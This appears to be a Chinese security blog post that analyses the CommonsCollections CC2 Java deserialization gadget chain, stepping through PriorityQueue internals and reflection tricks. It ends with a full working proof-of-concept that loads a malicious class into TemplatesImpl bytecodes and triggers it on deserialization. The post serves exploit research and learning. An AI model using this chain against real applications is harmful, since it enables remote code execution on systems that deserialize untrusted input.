^-^
CommonsCollections反序列化链2
  1. 前言
  2. 链子分析
    1. 通过反射给queue赋值
  3. POP1（动态加载）

前言

这里是修改了CC4里使用动态加载执行代码的过程，去掉了使用InstantiateTransformer.transform()对TrAXFilter进行实例化的过程

而是直接使用InvokerTransformer去调用TemplatesImpl.newTransformer()

其他的和CC4一样

图例： CC2 2

链子分析

因为是要对TemplatesImpl的对象调用InvokerTransformer.transform()，而调用他的入口为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

所以需要构造，让x或c的值为TemplatesImpl的对象，看这里的x参数是heapify()方法里传给siftDown()方法的queue[i]的值

1
2
3
4
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

进入sitfDown

1
2
3
4
5
6
private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

所以上面x的值就是heapify()里queue[i]的值

所以需要给这个进行赋值，但是queue又是一个transient成员，是不能进行序列化和反序列化的

1
transient Object[] queue;

所以这里应该是在readObject的时候被赋值的，在readOject里，有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    ...
    ...

所以应该是会读取java.io.ObjectInputStream的值并进行反序列化，赋值给queue

这里是跟他的writeObject互相照应的，他是对queue数组的元素进行序列化，而不是对queue进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    // Write out element count, and any hidden stuff
    s.defaultWriteObject();

    // Write out array length, for compatibility with 1.5 version
    s.writeInt(Math.max(2, size + 1));

    // Write out all elements in the "proper order".
    for (int i = 0; i < size; i++)
        s.writeObject(queue[i]);
}

通过反射给queue赋值

所以这里可以直接使用反射来设置queue的值

1
2
3
4
5
6
7
//给queue赋值
Class b=priorityQueue.getClass();
Field queueField = b.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(priorityQueue,new Object[] {
    templates,2
});

根据cc4里面，我们还需要给size赋值

1
2
3
4
5
//给size赋值
Class a= priorityQueue.getClass();
Field size = a.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);

但是这里需要给他添加两个元素

进行调试，来看看是为什么

首先这个取决于我们设置的size，因为在writeObject()里,他会根据size进行遍历

1
2
for (int i = 0; i < size; i++)
    s.writeObject(queue[i]);

如果size为2但是只有一个元素的话就会报错Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException

image-20230319222032399

所以就需要再添加足够的元素来让他不会报错，所以要在后面加元素，可以都用templates，这样就不会报错InvokerTransformer: The method 'newTransformer' on 'class java.lang.Integer' does not exist

image-20230319222314038

POP1（动态加载）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesclass = templates.getClass();
        Field nameField = templatesclass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"name");
        //加载自己构造的恶意类
        byte[] code= Files.readAllBytes(Paths.get("D://temp//test.class"));
        //赋值给_bytecodes
        byte[][] codes={code};
        Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, codes);
        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        //给size赋值
        Class a= priorityQueue.getClass();
        Field size = a.getDeclaredField("size");
        size.setAccessible(true);
        size.set(priorityQueue,2);
        //给queue赋值
        Class b=priorityQueue.getClass();
        Field queueField = b.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(priorityQueue,new Object[] {
            templates,templates
        });
        serialize(priorityQueue);
        unserialize("cc2.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream oip = new ObjectInputStream(new FileInputStream(filename));
        Object obj = oip.readObject();
        return obj;
    }
}

白日梦组长用的是PriorityQueue.add()，但是有点麻烦，所以就直接用这个了

2024-03-01 该篇文章被 v2ish1yan 打上标签: 反序列化 归为分类: Java

© 1949-2024 China
🌊面朝大海，春暖花开🌸 本站由Hexo驱动｜使用Hexo-theme-A4主题